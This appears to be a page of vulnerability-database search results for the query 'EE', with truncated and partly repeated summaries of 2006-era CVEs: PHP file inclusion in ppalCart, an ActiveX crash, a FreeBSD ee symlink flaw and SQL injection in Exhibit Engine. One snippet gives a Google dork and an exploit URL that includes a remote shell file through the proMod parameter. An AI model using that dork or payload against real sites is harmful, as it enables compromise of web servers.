2992 matches found
CVE-2006-4672
PHP remote file inclusion vulnerability in profitCode ppalCart 2.5 EE, possibly a component of PayProCart, allows remote attackers to execute arbitrary PHP code via a URL in the 1 proMod parameter to a index.php, or the 2 docroot parameter to b index.php or c mainpage.php...
CVE-2006-4672
Summary (CVE-2006-4672): A PHP remote file inclusion vulnerability exists in profitCode ppalCart 2.5 EE, potentially part of PayProCart. An attacker can cause arbitrary PHP code execution by supplying a URL in the (1) proMod parameter to index.php, or the (2) docroot parameter to index.php or mai...
PayProCart <= 1146078425 Multiple Remote File Include Vulnerabilities
google dork :"powered by: profitCode" exploite: http://url/index.php?proMod=http://shell.txt? discoverde by momo26 ;!!!!!!!!!!!!!!! +-------------------------------------------------------------------- + + ppalCart V2.5 EE Remote File Inclusion +...
CVE-2006-4219
The Terminal Services COM object tsuserex.dll allows remote attackers to cause a denial of service crash and possibly execute arbitrary code by instantiating it as an ActiveX object in Internet Explorer 6.0 SP1 on Microsoft Windows 2003 EE SP1 CN...
CVE-2006-4219
The Terminal Services COM object tsuserex.dll allows remote attackers to cause a denial of service crash and possibly execute arbitrary code by instantiating it as an ActiveX object in Internet Explorer 6.0 SP1 on Microsoft Windows 2003 EE SP1 CN...
CVE-2006-4219
The CVE-2006-4219 entry concerns the Terminal Services COM object tsuserex.dll. Affected component: tsuserex.dll (ActiveX object) invoked by Internet Explorer 6.0 SP1 on Windows 2003 EE SP1 CN. Root cause/impact: remote attackers could crash the system and possibly execute arbitrary code by insta...
Code injection
The ispellop function in ee on FreeBSD 4.10 to 6.0 uses predictable filenames and does not confirm which file is being written, which allows local users to overwrite arbitrary files via a symlink attack when ee invokes ispell...
CVE-2006-0055
The ispellop function in ee on FreeBSD 4.10 to 6.0 uses predictable filenames and does not confirm which file is being written, which allows local users to overwrite arbitrary files via a symlink attack when ee invokes ispell...
CVE-2006-0055
The ispellop function in ee on FreeBSD 4.10 to 6.0 uses predictable filenames and does not confirm which file is being written, which allows local users to overwrite arbitrary files via a symlink attack when ee invokes ispell...
FreeBSD-SA-06:02.ee
-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 ============================================================================= FreeBSD-SA-06:02.ee Security Advisory The FreeBSD Project Topic: ee temporary file privilege escalation Category: core Module: ee Announced: 2006-01-11 Credits: Christian...
CVE-2005-1875
Exhibit Engine (EE) 1.22 is affected by multiple SQL injection vulnerabilities in list.php, exploitable via the parameters (1) search_row, (2) sort_row, (3) order, or (4) perpage, allowing remote attackers to execute arbitrary SQL. The connected sources confirm the vulnerable component and parame...
